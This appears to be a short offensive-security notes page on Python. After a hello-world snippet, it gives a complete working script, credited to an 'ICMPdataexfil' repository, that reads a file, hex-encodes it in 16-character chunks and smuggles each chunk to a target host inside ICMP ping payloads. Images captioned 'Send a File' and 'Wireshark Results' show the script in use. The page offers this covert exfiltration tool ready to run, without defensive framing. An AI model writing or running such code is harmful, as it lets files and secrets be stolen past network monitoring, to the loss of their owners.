# Python

### Basic Usage

```python
name = "John"
print("Hello, " + name + "!")
```

## How to extract files using Python

```python
#!/bin/python3
import sys, subprocess
file = sys.argv[1]
target = sys.argv[2]
msg=''
with open(file) as fh:
    for line in fh:
        for ch in line:
            msg=msg+ch
            if(len(msg))==16:
                print ("Sending Secret message")
                enctext = r''.join(hex(ord(c)).split("x")[1] for c in msg)
                try:
                    subprocess.check_output(["ping", "-p", enctext, "-c", "1", target])
                    msg=''
                except:
                    print("Packet Loss")
                    msg=''
```

Source: <https://github.com/R0aDt0OSCP/ICMPdataexfil/blob/main/icmp.py>

<figure><img src="https://3593245608-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkPEBr0Ohu5Y49JHmv4La%2Fuploads%2FhzpmETJOzS4eOZkStRP5%2Fimage.png?alt=media&#x26;token=fd5918e9-d352-4831-b78f-f188a05bb7e9" alt=""><figcaption><p>Send a File</p></figcaption></figure>

<figure><img src="https://3593245608-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkPEBr0Ohu5Y49JHmv4La%2Fuploads%2FzAHWo4xrT7Y0LjCM5joy%2Fimage.png?alt=media&#x26;token=2f46e37f-82c7-4e18-ade8-07265ec88f75" alt=""><figcaption><p>Wireshark Results</p></figcaption></figure>
